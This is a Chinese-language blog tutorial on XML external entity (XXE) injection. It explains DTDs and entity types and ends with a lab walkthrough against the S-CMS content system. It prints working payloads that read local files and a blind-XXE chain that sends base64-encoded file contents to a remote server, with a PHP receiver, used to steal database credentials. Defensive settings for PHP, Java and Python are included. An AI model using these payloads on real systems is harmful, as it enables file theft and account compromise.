愿浪飒精神伴你左右,网络安全之路任重而道远。

XXE—实体注入

Web渗透学习笔记 langsa 3年前 (2021-12-31) 657次浏览 0个评论

什么是XXE

概述

XXE:XML External Entity 即XML外部实体。

攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行。
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

现况

现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

什么是XML

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准

DTD学习

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

引用方式:

1.DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>

2.DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

3.引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

参考:https://www.w3school.com.cn/dtd/dtd_intro.asp

定义实体必须写在DTD部分

特点

  1. XML仅仅是纯文本,他不会做任何事情。
  2. XML可以自己发明标签(允许定义自己的标签和文档结构)
  3. XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

XXE原理

以PHP为例

php中存在一个叫做simplexml_load_string的函数(用来处理XML),这个函数是将XML转化为对象。
实例:

<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>

#变量test里面是XML
#用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明

<!ENTITY 实体名称 "实体的值">

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "Hello">
    <!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

屏幕快照 2018-10-09 下午5.49.34

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
屏幕快照 2018-10-09 下午5.51.39

<!ENTITY 实体名称 SYSTEM "URI/URL">

如:

php<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

屏幕快照 2018-10-09 下午6.00.55

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
    <!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

屏幕快照 2018-10-09 下午7.06.04

XXE危害

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致

  • 读取任意文件

    读取数据无回显,可以把数据发送到远程服务器。

  • 探测内网端口

  • 攻击内网网站

  • 发起DoS拒绝服务攻击

  • 执行系统命令

等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

读取任意文件案例讲解

<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
#先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)

#调用一个外部xml 
#比如1.xml
    #1.xml###################
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml"> 
<!ENTITY % all
  "<!ENTITY &#x25; send SYSTEM 'http://120.203.13.75:8123/xxe/2.php?id=%file;'>"
    #读取出来的文件会用get传参的方式传参给2.php
    >
    %all;
    #1.xml###################

#2.php如下  
#<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>

XXE防御

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

靶场演示

目的:通过XXE来找到管理员账户密码

1.靶场为开源CMS:闪灵企业建站(S-CMS)

image-20211231214735541

2.可以直接在找源码来分析

在weixin文件夹下找到了simplexml_load_string函数。

当$signature不为空直接将POST提交上去的数据放入了simplexml_load_string

image-20211231221224900

3.可惜的是页面无显示,无法正常的使用XXE输出。

image-20211231221519942

4.我们需要尝试去用没有输出的xxe攻击方法。

在某台公网服务器上留下1.xml,以及2.php还有3.txt用来接收数据。(具体原理见上文的读取任意文件案例讲解)

5.我们只需要读取文件然后引用1.xml,1.xml会将读取文件的内容发送给2.php。2.php的数据会储存到3.txt。

6.我们需要管理员账户,所以在CMS源码找到了conn/conn.php里有数据库密码。

image-20211231222600124

7.通过XXE来获取信息

image-20211231223020199

8.在3.txt中收到了信息,去解密一下

image-20211231223128126

9.拿到数据库账户密码,去登陆数据库

image-20211231223748504

10.拿到管理员密码,收工!

image-20211231223935275

本文涵盖参考链接:


本文标题:XXE—实体注入
本文链接:https://blog.langsasec.cn/index.php/2021/12/31/xxe/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (2)
[]
分享 (0)
langsa
关于作者:
一个网络安全从业人员
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址